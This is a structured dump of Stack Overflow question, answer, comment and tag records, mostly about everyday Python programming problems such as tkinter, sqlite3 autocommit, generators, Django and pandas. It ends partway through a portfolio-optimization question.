has comment: http://stackoverflow.com/comment/82422531
favorite count: 0
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47739340
score: 1
has answer: http://stackoverflow.com/a/47739340
has comment: http://stackoverflow.com/comment/82410906
tagged with: python
has comment: http://stackoverflow.com/comment/82423364
has answer: http://stackoverflow.com/a/47792754
possible better answer: http://stackoverflow.com/a/47370887
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/82410452
has title: OperationalError at /admin/learning_logs/example/
has comment: http://stackoverflow.com/comment/82411405
answer count: 3
has comment: http://stackoverflow.com/comment/82415959

http://stackoverflow.com/comment/81699390
type: Comment
has text: @realharry: The desired distribution is Monte Carlo sampling, which is essentially a random number from a uniform distribution. However, instead of just (0, 1), it would be `a + (b - a)*(0, 1)`. I don't want this to confuse the primary objective...distribution here is not that important right now.
score: 0
comment on: http://stackoverflow.com/q/47373311
type: QuestionComment

http://stackoverflow.com/comment/81590320
score: 0
comment on: http://stackoverflow.com/q/47319273
type: Comment
type: QuestionComment
has text: you have to remember previous `get_pressed()` to compare with current `get_pressed()` - if it changed from `True` to `False` then button was released. Or you have to remeber MOUSEBUTTONUP as global value and check in your function.

http://stackoverflow.com/comment/81416185
type: QuestionComment
score: 0
has text: How much data do you want to process?
type: Comment
comment on: http://stackoverflow.com/q/47232672

http://stackoverflow.com/q/47352833
tagged with: widget
answer count: 1
has comment: http://stackoverflow.com/comment/81657957
tagged with: python
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47353837
accepted answer: http://stackoverflow.com/a/47353837
upvote count: 5
tagged with: tkinter
score: 5
has comment: http://stackoverflow.com/comment/81658204
has body: It works with some other widgets, but not with Buttons. from Tkinter import * root = Tk() root.geometry("600x300+400+50") btn_up = Button(root, text='Go UP') btn_up.config(highlightbackground="red", highlightcolor="red", highlightthickness=10, relief=SOLID) btn_up.pack() root.mainloop() Python 2.7 - Windows 10
tagged with: button
has title: No way to color the border of a Tkinter Button?
has comment: http://stackoverflow.com/comment/81657935
has comment: http://stackoverflow.com/comment/81657856
has comment: http://stackoverflow.com/comment/81658004
type: AnsweredQuestion
tagged with: colors
has comment: http://stackoverflow.com/comment/81658507
downvote count: 0

http://stackoverflow.com/q/47225583
tagged with: sqlite
answer count: 1
has body: I'm having trouble turning off the auto-commit mode in a given database connection. According to what I understood from the sqlite3 module documentation, the python code bellow should not raise any AssertionError exception, but it does. The table "nomes" already exists in the database and contains the column "Nome" import sqlite3 _PATH_DB = '/rhome/FNORO/tabelao/sofia.sqlite' # path to database _ISOLATION_LEVEL = "EXCLUSIVE" _TEST_NAME = "TEST1" # delete name from database with sqlite3.connect(_PATH_DB, isolation_level = _ISOLATION_LEVEL) as conn: query = 'DELETE FROM nomes WHERE nome = "{}"'.format(_TEST_NAME) conn.execute(query) conn.commit() # insert name _TEST_NAME without executing conn.commit() with sqlite3.connect(_PATH_DB, isolation_level = _ISOLATION_LEVEL) as conn: query = 'INSERT INTO nomes(nome) VALUES("{}")'.format(_TEST_NAME) conn.execute(query) # check if name already existis with sqlite3.connect(_PATH_DB, isolation_level = _ISOLATION_LEVEL) as conn: query = 'SELECT nome FROM nomes WHERE nome = "{}"'.format(_TEST_NAME) res = conn.execute(query).fetchall() assert (res == []) Sqlite3 documentation here: https://docs.python.org/2/library/sqlite3.html#connection-objects isolation_level Get or set the current isolation level. None for autocommit mode or one of “DEFERRED”, “IMMEDIATE” or “EXCLUSIVE”. See section Controlling Transactions for a more detailed explanation. What am I missing here?
tagged with: autocommit
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47226290
accepted answer: http://stackoverflow.com/a/47226290
has title: Problems with autocommit in sqlite3 module from Python3
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/81588517
score: 0
type: AnswerComment
has text: where would you place that in the code i have, i placed it like so ` userinput = input()` ` while userinput != "exit":` ` if userinput == 'list':` ` print(names)` and it infinitly loops the list output
type: Comment
comment on: http://stackoverflow.com/a/47318327

http://stackoverflow.com/comment/81588123
has text: @PeterH but anyway, if you simply want to say that Python variables act like you are passing around pointers to python objects, that is true and I cannot disagree. I still think it is much more confusing (unless you are coming directly form a C background) than simply learning Python semantics on their own terms.
comment on: http://stackoverflow.com/q/47318136
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47328982
has comment: http://stackoverflow.com/comment/81608637
answers question: http://stackoverflow.com/q/47328822
has comment: http://stackoverflow.com/comment/81614146
has comment: http://stackoverflow.com/comment/81609298
has comment: http://stackoverflow.com/comment/81608556
has comment: http://stackoverflow.com/comment/81610631
has comment: http://stackoverflow.com/comment/81613340
has body: Try using: del l[-1] Instead of pop, because in pop it removes the head data.
has comment: http://stackoverflow.com/comment/81611994
has comment: http://stackoverflow.com/comment/81610588
type: Answer
has comment: http://stackoverflow.com/comment/81613079
has comment: http://stackoverflow.com/comment/81609068
has comment: http://stackoverflow.com/comment/81613018
has comment: http://stackoverflow.com/comment/81613578
score: 0
has comment: http://stackoverflow.com/comment/81612431

http://stackoverflow.com/comment/81473825
comment on: http://stackoverflow.com/a/47261259
type: AnswerComment
score: 0
has text: thank you. i am getting 2 errors: `<module> os.rename(os.path.join(path, f),os.path.join(path, "%s" % get_last_write_time(f)+'_'+f)) AND in get_last_write_time st = os.stat(filename) FileNotFoundError: [WinError 2] The system cannot find the file specified: '23845.JPG'` should the `filename` need definition?
type: Comment

http://stackoverflow.com/comment/81410799
comment on: http://stackoverflow.com/q/47230052
type: Comment
has text: Line 13 (`sum=0`) defines a variable called `sum` -- after that point you've lost the `sum` function -- it's now an `int` -- and explains the error: `TypeError: 'int' object is not callable`.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/81464878
comment on: http://stackoverflow.com/q/47256703
type: QuestionComment
has text: No worries! At least there's no problem with the classifier in the library ;P
score: 0
type: Comment

http://stackoverflow.com/comment/81512523
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47280748
score: 0
has text: Most likely the files are in use. Proper exceptionhandling should be added if this is something you need regulary.

http://stackoverflow.com/a/47276890
has comment: http://stackoverflow.com/comment/81505193
has comment: http://stackoverflow.com/comment/81504858
has comment: http://stackoverflow.com/comment/81505241
score: 1
type: Answer
has body: You are correct that your custom function is not getting called during your test. The reason for this is explained in the docs: If specified, default should be a function that gets called for objects that can’t otherwise be serialized. It should return a JSON encodable version of the object or raise a TypeError. If not specified, TypeError is raised. Since float is an object that it already knows how to serialized, it is not called. For float serialization, you can override the encode function.
has comment: http://stackoverflow.com/comment/100316923
has comment: http://stackoverflow.com/comment/81505290
answers question: http://stackoverflow.com/q/47276152
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47225212
favorite count: 0
has title: python3 checkers board won't print
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81400424
has comment: http://stackoverflow.com/comment/81401197
has comment: http://stackoverflow.com/comment/81400350
has comment: http://stackoverflow.com/comment/81401324
accepted answer: http://stackoverflow.com/a/47225290
tagged with: python
score: -1
has body: I'm trying to write a checkers game in python but cannot get my board to print to the command line. There are no errors when i run this but nothing happens. I am using python 3 and editing in Vim, My OS is ubuntu. I'm completely lost here so any help would be appreciated. def main(): print("Python Checkers") value_package = dict([("board", init_board()), ("turn_count", 1), ("cur_turn", PLAYERS.White)]) while True: print_board(board) def init_board(): board=[ ['w', '_', 'w', '_', 'w', '_', 'w', '_'], ['_', 'w', '_', 'w', '_', 'w', '_', 'w'], ['w', '_', 'w', '_', 'w', '_', 'w', '_'], ['_', '_', '_', '_', '_', '_', '_', '_'], ['_', '_', '_', '_', '_', '_', '_', '_'], ['_', 'b', '_', 'b', '_', 'b', '_', 'b'], ['b', '_', 'b', '_', 'b', '_', 'b', '_'], ['_', 'b', '_', 'b', '_', 'b', '_', 'b']] return board def print_board(board): print(" A B C D E F G H I J\n") for i in range (GRID_HEIGHT): print(i, " |", end="") for j in range(GRID_WIDTH): print(board[i][j] + "|", end="") print("") print("")
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/47225290
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81400388
has comment: http://stackoverflow.com/comment/81400353

http://stackoverflow.com/a/47309772
type: Answer
accepted answer of: http://stackoverflow.com/q/47307346
score: 0
answers question: http://stackoverflow.com/q/47307346
type: AcceptedAnswer
has body: Not really an answer, but for some reason several packages in anaconda had changed paths after running conda update --all to native OSx python. The damage was beyond manual correction, so I completely rewarped anaconda. I can't reproduce this behaviour after having removed anaconda entirely, and run conda update --all again. see @millimoose comments for a deeper explanation.

http://stackoverflow.com/comment/81471506
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47259799
score: 0
has text: I never found your attempt to be fruitless. Btw, nowadays I'm a great fan of css selector. So, in you spare time plaese take a look if it is possible to create it using css selectors as well. Thanks a trillion.

http://stackoverflow.com/q/47329423
has answer: http://stackoverflow.com/a/47329528
has comment: http://stackoverflow.com/comment/81609572
tagged with: python
has title: 'yield from' substitute in Python 2
tagged with: yield-from
tagged with: generator
upvote count: 2
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
has answer: http://stackoverflow.com/a/47329527
accepted answer: http://stackoverflow.com/a/47329527
linked to: http://stackoverflow.com/q/17581332
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81609814
has comment: http://stackoverflow.com/comment/81612120
has comment: http://stackoverflow.com/comment/81610086
favorite count: 0
has comment: http://stackoverflow.com/comment/81609571
type: Question
has body: My code uses yield from in python3 in recursive calls and it works perfectly fine. The problem right now is that this was introduced from PEP-380 in python 3.3 and I need it to work in python 2.7. I read up on a few articles and none of them were detailed enough or simple enough. Few referred articles : Converting “yield from” statement to Python 2.7 code yield from and Python 2.7 and few others. I have recreated a small Sample code (which takes in a multi-level list and returns a flattened list) that is very minimalistic compared to my requirements. #python 3 def foo(obj): for ele in obj: if isinstance(ele, list): yield from foo(ele) else: yield ele #driver values : &gt;&gt;&gt; l = [1, [2, 3, [4,5]]] &gt;&gt;&gt; list(foo(l)) =&gt; [1, 2, 3, 4, 5] The same converted does not work in python 2.7 due to the non-availability of yield from.
possible better answer: http://stackoverflow.com/a/47329528

http://stackoverflow.com/comment/81610932
type: AnswerComment
has text: @darkless It doesn't matter what the strings you saved look like. As long as you followed the procedure of get utf-8 string -> encode it to a bytes object -> turn **this** to a string and store to your database, you guarantee those strings to be harmless bytes objects.
comment on: http://stackoverflow.com/a/47329736
score: 4
type: Comment

http://stackoverflow.com/q/47354473
score: 0
tagged with: aiohttp
answer count: 3
possible better answer: http://stackoverflow.com/a/47362800
has title: Python asyncio aiohttp request data encoding
type: Question
has body: I'm using python's aiohttp basic request module to make requests. My request is base64 encoded string and request body looks like: body = {'request': 'eyJhYmMiOiJ4eXoifQ=='} Here is the code for sending request: response = yield from request(method='POST', url=url, allow_redirects=False, headers=headers, data=body) The problem here is, this is getting received at the other end as: {'request': 'eyJhYmMiOiJ4eXoifQ%3D%3D'} which I believe is the url-encoded version of my request body. How can I avoid this and send request as it is?
has answer: http://stackoverflow.com/a/47362800
has answer: http://stackoverflow.com/a/47386278
has answer: http://stackoverflow.com/a/76252689
tagged with: python
tagged with: request
accepted answer: http://stackoverflow.com/a/47386278
type: AnsweredQuestion
tagged with: urlencode

http://stackoverflow.com/comment/81406853
type: Comment
type: QuestionComment
has text: indentation messed up
comment on: http://stackoverflow.com/q/47228052
score: 0

http://stackoverflow.com/comment/81663637
has text: No that would produce the same plot. And yes, your code calls scatter 4 times, once for all the black points, and then once per point in centroids.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47355546

http://stackoverflow.com/comment/81425755
score: 0
type: Comment
has text: Thank you so much.
type: AnswerComment
comment on: http://stackoverflow.com/a/47237527

http://stackoverflow.com/comment/81509355
score: 0
type: Comment
has text: I had got this error before also. I couldn't solve it. I tried looking for it at several places but all in vain. I'll look into the link you shared. Thanks anyways :D.
type: AnswerComment
comment on: http://stackoverflow.com/a/47278592

http://stackoverflow.com/a/65945839
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47286547
has body: You can replace the NaNs after reading the csv file. For example, convert the NaNs to 0: df = pd.read_csv('file.csv') df.fillna(0,1,inplace=True) Using the parameter na_values, like df = pd.read_csv('file.csv', na_values='-'), has nothing to do with this.

scrapy
tags question: http://stackoverflow.com/q/47338597
tags question: http://stackoverflow.com/q/47299014
tags question: http://stackoverflow.com/q/47259090
tags question: http://stackoverflow.com/q/47361396
tags question: http://stackoverflow.com/q/47252234
tags question: http://stackoverflow.com/q/47342810
tags question: http://stackoverflow.com/q/47288980
tags question: http://stackoverflow.com/q/47251319
tags question: http://stackoverflow.com/q/47368719
tags question: http://stackoverflow.com/q/47228449
tag name: scrapy
tags question: http://stackoverflow.com/q/47379132
tags question: http://stackoverflow.com/q/47367698
tags question: http://stackoverflow.com/q/47364678
tags question: http://stackoverflow.com/q/47378246
tags question: http://stackoverflow.com/q/47323898
tags question: http://stackoverflow.com/q/47305913
tags question: http://stackoverflow.com/q/47239510
tags question: http://stackoverflow.com/q/47247795
tags question: http://stackoverflow.com/q/47356315
tags question: http://stackoverflow.com/q/47239217
tags question: http://stackoverflow.com/q/47256752
tags question: http://stackoverflow.com/q/47241751
tags question: http://stackoverflow.com/q/47365601
tags question: http://stackoverflow.com/q/47245998
tags question: http://stackoverflow.com/q/47243244
tags question: http://stackoverflow.com/q/47337917
tags question: http://stackoverflow.com/q/47290574
type: Tag
tags question: http://stackoverflow.com/q/47268325
tags question: http://stackoverflow.com/q/47378819
tags question: http://stackoverflow.com/q/47236624
tags question: http://stackoverflow.com/q/47238867
tags question: http://stackoverflow.com/q/47269076
tags question: http://stackoverflow.com/q/47232380
tags question: http://stackoverflow.com/q/47320166
tags question: http://stackoverflow.com/q/47289863
tags question: http://stackoverflow.com/q/47283619
tags question: http://stackoverflow.com/q/47250288

http://stackoverflow.com/a/47355786
type: AcceptedAnswer
has body: I believe any of the following will work: numpy.split(foo(), 3, axis=1) numpy.hsplit(foo(),3) list(numpy.swapaxes(foo(), 0, 1))
score: 2
accepted answer of: http://stackoverflow.com/q/47355478
type: Answer
answers question: http://stackoverflow.com/q/47355478
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81453823
type: QuestionComment
comment on: http://stackoverflow.com/q/47249221
has text: @WillianFuks No error, but after 30 minutes where it didn't return and nothing happened I aborted..
score: 0
type: Comment

http://stackoverflow.com/comment/81461770
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255495
score: 0
has text: `final_list = sorted(list_1 + list_2 + list_3)`?

http://stackoverflow.com/comment/81644509
score: 1
type: Comment
has text: Don't forget the opencv module as well (`pip install opencv-python` usually works fine)
type: AnswerComment
comment on: http://stackoverflow.com/a/47346241

http://stackoverflow.com/comment/81526670
comment on: http://stackoverflow.com/q/47288066
type: Comment
type: QuestionComment
score: 0
has text: @timgeb .I want to convert it to python only . But using some libraries , that could shorten the code length . Not just by following each line of java code and converting it back to python .

http://stackoverflow.com/comment/81471756
type: AnswerComment
has text: Admittedly your case does look pretty weird, but it may be some quirk of matplotlib. I'm not sure this is going to help.
comment on: http://stackoverflow.com/a/47260423
score: 0
type: Comment

http://stackoverflow.com/comment/81627635
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47333555
type: Comment
has text: Well yes, you will have to adjust the rest of your code. Your loop will have to grab batches of 100, and data will return 200 array parts that you will have to iterate through to write them to the file. Start with "1:3" and see the format of the data in your data variable.

http://stackoverflow.com/comment/81692417
comment on: http://stackoverflow.com/q/47369780
has text: Use `sudo -u user` instead of going through `su`
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/q/47272607
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/40547198
type: UnansweredQuestion
downvote count: 0
has body: I need to restore the state of tf.train.AdamOptimizer from a checkpoint in Tensorflow in order to start again the training on another dataset without resetting the state of the optimizer. I know that a solution is the one proposed in Saving the state of the AdaGrad algorithm in Tensorflow. However, the proposed solution works only by using tf.train.import_meta_graph, but I don't want to use that method. If I try to follow that solution, I obtain an empty list when I call tf.get_collection("train_step"). Would you suggest me another solution? Thank you.
tagged with: tensorflow
has title: How to restore the state of tf.train.AdamOptimizer from a checkpoint?
score: 3
upvote count: 3
tagged with: python
favorite count: 0

http://stackoverflow.com/comment/81434415
comment on: http://stackoverflow.com/q/47241949
score: 0
type: Comment
type: QuestionComment
has text: @ayhan Can you find a dupe?

http://stackoverflow.com/comment/81648463
has text: Done. Was waiting for the 10 minute window to pass.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47348090
score: 0

http://stackoverflow.com/comment/81524863
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47276443
has text: Could you update your answer to explain why `threadpoolexecutor` will block? I was given the suggestion to use `threadpoolexecutor` in this answer here https://stackoverflow.com/questions/47186213/reading-a-file-without-block-main-thead-in-gui?noredirect=1&lq=1.

http://stackoverflow.com/a/47254700
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47254467
has body: You can iterate over a file line by line using for line in myfile:. dictionary = {} with open("keywords.txt", "r") as file: for line in file: key, value = line.strip().split(",") dictionary[key] = value print(dictionary)
type: Answer
score: 2

http://stackoverflow.com/q/47321346
has title: Pycharm does not autocomplete methods for class inheriting with aliased import
upvote count: 3
answer count: 0
tagged with: pycharm
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x
score: 3
has comment: http://stackoverflow.com/comment/81608837
has body: I have two python files which define classes, one of these files imports a class as an alias and uses it as the parent of a class. My issue is that PyCharm does not provide any information on the inherited properties or methods when I use the import alias. class_a.py class A(object): def do_something(self, arg): print(arg) class_b.py from class_a import A as BaseA class B(BaseA): def do_some # I expect pycharm to show autocomplete here because `def do_something(...) exists on the parent class So as I'm typing methods or properties in class B it doesn't show any autocomplete as if it has no idea that BaseA is actually A. Is this a bug in Pycharm?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81658517
tagged with: python

http://stackoverflow.com/comment/81494200
type: Comment
type: QuestionComment
has text: Non-naive datetime objects just means they have a timezone attached. That means that no matter what timezone you have set anywhere, you'd always know the original time and be able to convert it to that timezone. So yes, you are correct and the user's timezone will not affect it.
score: 2
comment on: http://stackoverflow.com/q/47270911

http://stackoverflow.com/a/69575584
score: 0
answers question: http://stackoverflow.com/q/47333119
type: Answer
has body: I use the thread pools for work loads like this and the number of workers can be adjusted very easy. Here is a template for you. def my_imap_function(lid,hid): ..... with ThreadPoolExecutor(max_workers=3) as executor: batches[(0,99), (100,199) ... ] futures = [executor.submit(my_imap_function, lowid, highid) for lowid, highid in batches] for future in as_completed(futures): if future.result() is False: print('this batch failed', future.result()) more on this is here https://docs.python.org/3/library/concurrent.futures.html

http://stackoverflow.com/comment/81689258
has text: @wwii Thank you! I was searching for a duplicate too.
comment on: http://stackoverflow.com/q/47368326
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81573974
has text: Basically i took formatted data from another source, I'll try taking data directly from the underlying db, save myself a few steps. But as far as outliers go, the data is clean, and we have a desire to show the spread in order ro illustrate a few points, that as well as the fact that our data from 2017 is incomplete (we are measuring sales prices amongst 8000 businesses that mostly repirt in once pr year)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47309939
type: Comment

http://stackoverflow.com/comment/81709098
has text: I dont understand I check your sample and it return `3`.
type: Comment
comment on: http://stackoverflow.com/a/47378061
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81634153
score: 1
type: QuestionComment
type: Comment
has text: No chance. That error's not going to be raised unless you're trying to open a non-existent file to read. This error is a no-repro.
comment on: http://stackoverflow.com/q/47340930

http://stackoverflow.com/comment/81441547
type: QuestionComment
comment on: http://stackoverflow.com/q/47245545
type: Comment
has text: try this : for key in image_dict.keys(): result[image_dict[key][1]] = key
score: 0

http://stackoverflow.com/q/47295871
type: Question
has title: Is there a way to use pipenv with Jupyter notebook?
downvote count: 0
score: 103
has body: Is there a way to use pipenv with Jupyter notebook? Or more specifically, with an atom nteract/hydrogen python 3 kernel?
tagged with: pipenv
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/55081892
accepted answer: http://stackoverflow.com/a/47296960
has answer: http://stackoverflow.com/a/47395205
has answer: http://stackoverflow.com/a/47296960
tagged with: python
upvote count: 103
tagged with: jupyter
has answer: http://stackoverflow.com/a/72679386
answer count: 4
possible better answer: http://stackoverflow.com/a/55081892
favorite count: 0

http://stackoverflow.com/comment/81721266
comment on: http://stackoverflow.com/a/47348061
score: 0
type: Comment
has text: @VanPeer I'm not sure what "not going to overlap" means here, but note that I could equally well have said "x = 4; y = 3+1; id(x)==id(y)" is True. Would that change what you said? (And, if not, please clarify what the overlap bit refers to.)
type: AnswerComment

http://stackoverflow.com/comment/81614893
comment on: http://stackoverflow.com/q/47326350
type: Comment
type: QuestionComment
has text: There's a problem with converting object columns to strings: NaN becomes the string 'nan'. Yet another proof that pandas absolutely sucks at dealing with missing values! Eg groupbys also get rid of missing values, without even a warning.
score: 0

http://stackoverflow.com/comment/106836687
type: Comment
comment on: http://stackoverflow.com/a/48523305
score: 0
type: AnswerComment
has text: I haven't used whitenoise in a long time, so I don't remember exactly what I did to remove the comments, or how the comments are structured, but it should be a simple matter to make a script to find and remove all comments, which is probably what I did.

http://stackoverflow.com/a/47481610
score: 5
downvote count: 0
answers question: http://stackoverflow.com/q/47274356
type: Answer
has body: I posted this question on github, though the author renamed the issue question. I got some helpful explanation of what the predict output is, but still am not sure how to get to a set of predicted survival times, which is what I really want. Here's a couple helpful explanations from that github thread: predictions are risk scores on an arbitrary scale, which means you can usually only determine the sequence of events, but not their exact time. -sebp (library author) It [predict] returns a type of risk score. Higher value means higher risk of your event (class value = True)...You were probably looking for a predicted time. You can get the predicted survival function with estimator.predict_survival_function as in the example 00 notebook...EDIT: Actually, I’m trying to extract this but it’s been a bit of a pain to munge -pavopax. There's more explanation at the github thread, though I wasn't really able to follow all of it. I need to play around with predict_survival_function and predict_cumulative_hazard_function and see if I can get to a set of predictions for most likely survival time by row in X, which is what I really want. I'm not going to accept this answer here, in case anyone else has a better one.
upvote count: 5

http://stackoverflow.com/comment/81703713
comment on: http://stackoverflow.com/q/47375638
type: Comment
type: QuestionComment
score: 0
has text: I don't really understand the question. `func` is the function that you are decorating, and a and b are its parameters.

http://stackoverflow.com/comment/81407676
type: Comment
has text: Edit your question add pandas tag. It will be easy for other pandas expertises to see your problem
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47227084

http://stackoverflow.com/a/47337069
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: As stated in the comments fot the question, you simply have to import the modules. As for linter complaints, those are the lesser of your problems. Linters are there to help - if they get into the way, just don't listen to them. So, the simple way just to get your things working is, at the end of your __main__.py or __init__.py, depending on your app structure, to import explicitly all the modules that make use of the view decorator. If you have a linter, check how to silence it on the import lines - that is usually accomplished with a special comment on the import line. Python's introspection is fantastic, but it can't find instances of a class, or subclasses, if those are defined in modules that are not imported: such a module is just a text file sitting on the disk, like any data file. What some frameworks offer as an approach is to have a "discovery" utility that will silently import all "py" files in the project folders. That way your views can "come into existence" without explicit imports. You could use a function like: import os def discover(caller_file): caller_folder = os.path.dirname(caller_file) for current, folders, files in os.walk(caller_folder): if current == "__pycache__": continue for file in files: if file.endswith(".py"): __import__(os.path.join(current, file)) And call it on your main module with discover(__file__)
score: 3
accepted answer of: http://stackoverflow.com/q/47334197
type: Answer
answers question: http://stackoverflow.com/q/47334197

http://stackoverflow.com/q/47240712
has comment: http://stackoverflow.com/comment/81431785
has title: Using Django and Ajax to dynamically update information not working
has comment: http://stackoverflow.com/comment/81432240
score: 0
has comment: http://stackoverflow.com/comment/81431712
answer count: 0
has body: When I have a many-to-many field that I want to change dynamically (ie, from the view to update the database without refreshing the entire page), such as when a user clicks a 'Follow' button for an object (as many different users can follow many different objects) then Ajax will make the request and the database will be updated. However, this Ajax call does not seem to work for dynamically changing a boolean property (changing something to True or False) for any given object. This class-based view works to dynamically add or remove a user: if user.userprofile in obj.followers.all(): following = False obj.followers.remove(user.userprofile) else: following = True obj.followers.add(user.userprofile) updated = True However, this code does not work to change an attribute to True or False: if user.is_authenticated(): if user.userprofile.content_pref == True: display = False user.userprofile.content_pref = False else: display = True user.userprofile.content_pref = True updated = True How might I achieve this effect? Through clicking on a button, I want a user to toggle their model object attribute from False to True or vice-versa...Thanks
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81432783
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81431961

http://stackoverflow.com/comment/81716377
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47372956
has text: @Andersson can you explain how i would do this or supply sample ode because i have never used selenium in my life.

http://stackoverflow.com/a/47245826
has body: From the Python manual on regular expressions, it tells us that \w: matches any alphanumeric character and the underscore; this is equivalent to the set [a-zA-Z0-9_] So you are actually over capturing what you need. Refine your regular expression a bit: &gt;&gt;&gt; re.findall(r'(\d+[a-z]+)', a, re.I) ['1253abcd', '4567efgh', '8910ijkl'] The re.I makes your expression case insensitive, so it will match upper and lower case letters as well: &gt;&gt;&gt; re.findall(r'(\d+[a-z]+)', '12124adbad13434AGDFDF434348888AAA') ['12124adbad'] &gt;&gt;&gt; re.findall(r'(\d+[a-z]+)', '12124adbad13434AGDFDF434348888AAA', re.I) ['12124adbad', '13434AGDFDF', '434348888AAA']
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/47245782
downvote count: 0

http://stackoverflow.com/a/53187585
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/93348342
accepted answer of: http://stackoverflow.com/q/47242639
has comment: http://stackoverflow.com/comment/127042365
answers question: http://stackoverflow.com/q/47242639
score: 7
type: Answer
downvote count: 0
has body: I know it's been a year, but I stumbled on this question via Google and could not find anybody with an acceptable solution for this exact problem, so here's the code I'm using. from django.db.models import F, Func, Value from django.contrib.postgres.fields import ArrayField from django.contrib.postgres.search import SearchVector, SearchVectorField class SearchableStuff(models.Model): name = models.CharField( _('Name'), max_length=256, null=False, blank=False) tags = ArrayField( models.CharField(max_length=50, blank=True), verbose_name=_('Tags'), default=list, size=16, blank=True) search_vector = SearchVectorField( _('Search vector'), null=True) def save(self, *args, **kwargs): self.search_vector = \ SearchVector('name', weight='A', config='french') + \ SearchVector( Func(F('tags'), Value(' '), function='array_to_string'), weight='A', config='french') return super().save(*args, **kwargs) --Edit-- a few hours after posting this solution, I realized that it does only work when updating a record, but not inserting it. Here's a better solution. def save(self, *args, **kwargs): # Note: we use `SearchVector(Value(self.field))` instead of # `SearchVector('field')` because the latter only works for updates, # not when inserting new records. self.search_vector = \ SearchVector(Value(self.name), weight='A', config='french') + \ SearchVector( Value(' '.join(self.tags)), weight='A', config='french') return super().save(*args, **kwargs)
upvote count: 7

http://stackoverflow.com/comment/81567983
type: Comment
comment on: http://stackoverflow.com/q/47308688
type: QuestionComment
has text: I'm not sure, I've never used that approach before. Any resource?
score: 1

http://stackoverflow.com/comment/81616820
has text: Hmmm, actually it is true, I didn't see that they were using `NORM_L2SQR` which is the squared version..... then everything looks the same, strange... I do not spot the difference :(
score: 0
comment on: http://stackoverflow.com/q/47329154
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81459583
type: Comment
comment on: http://stackoverflow.com/q/47254454
type: QuestionComment
has text: Looks like `frontier_var.append(calc_var(w, S))` is always conducting the same calculation. `w` is an array of ones, and `S` is the covariance matrix of `returns`. As it's not dependent on `mus`, you'll get the same outcome for every iteration in your loop.
score: 0

cuda
tags question: http://stackoverflow.com/q/47259868
tag name: cuda
type: Tag

http://stackoverflow.com/comment/81624712
type: QuestionComment
comment on: http://stackoverflow.com/q/47335325
type: Comment
has text: I was using python3, why would it prevent the \r carriage return from doing what it does, the problem for me was, that the editor I used automatically adjusted to a normal newline so I didn't see the problem until I looked at the bytestring
score: 0

http://stackoverflow.com/comment/81491726
has text: This is a very reduced code-example. I suspect, in your case everything boils down to the original figure size / dpi? How did you define this?
comment on: http://stackoverflow.com/q/47270434
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47254454
type: Question
has comment: http://stackoverflow.com/comment/81459583
type: UnansweredQuestion
tagged with: python
tagged with: optimization
has answer: http://stackoverflow.com/a/48209132
score: 0
has body: I am trying to find the efficient frontier for a portfolio of 10 stocks. I first load the data (data) which includes the weekly returns for 10 stocks over 104 periods. Then i randomize weights to plot arbitrary portfolios using this code: def random_weights(n): a = np.random.rand(n) return a/a.sum() def initial_portfolio(data): cov = data.cov() expected_return = np.matrix(data.mean()) weights = np.matrix(random_weights(expected_return.shape[1])) mu = weights.dot(expected_return.T) sigma = np.sqrt(weights.dot(cov.dot(weights.T))) var = weights.dot(cov.dot(weights.T)) return mu[0,0], sigma[0,0], var[0,0]#, cov, expected_return, weights def initial_portfolio_other(data): cov = np.cov(data) expected_return = np.matrix(data.mean()) weights = np.matrix(random_weights(expected_return.shape[1])) mu = weights.dot(expected_return.T) sigma = np.sqrt(weights * cov.dot(weights.T)) var = weights * cov.dot(weights.T) return cov, expected_return, weights n_portfolios = 1000 means, stds, var = np.column_stack([ initial_portfolio(data) for _ in range(n_portfolios) ]) plt.xlabel('Standard deviation') plt.ylabel('Expected return') plt.scatter(stds, means) plt.axis([0.02, 0.035, 0.002,0.009]) plt.figure(figsize = (8,6)) plt.show() So far the code works fine, next i want to find the efficient frontier by minimizing the portfolio variance for 1000 weekly returns. This is the code i have so far def calc_var(w, c): return np.dot(np.dot(w, c),w) def optimal_portfolio(returns): n = len(returns.mean()) returns = np.matrix(returns) avg_returns = np.matrix(returns.mean()) #min_mu = min(returns.mean()) #max_mu 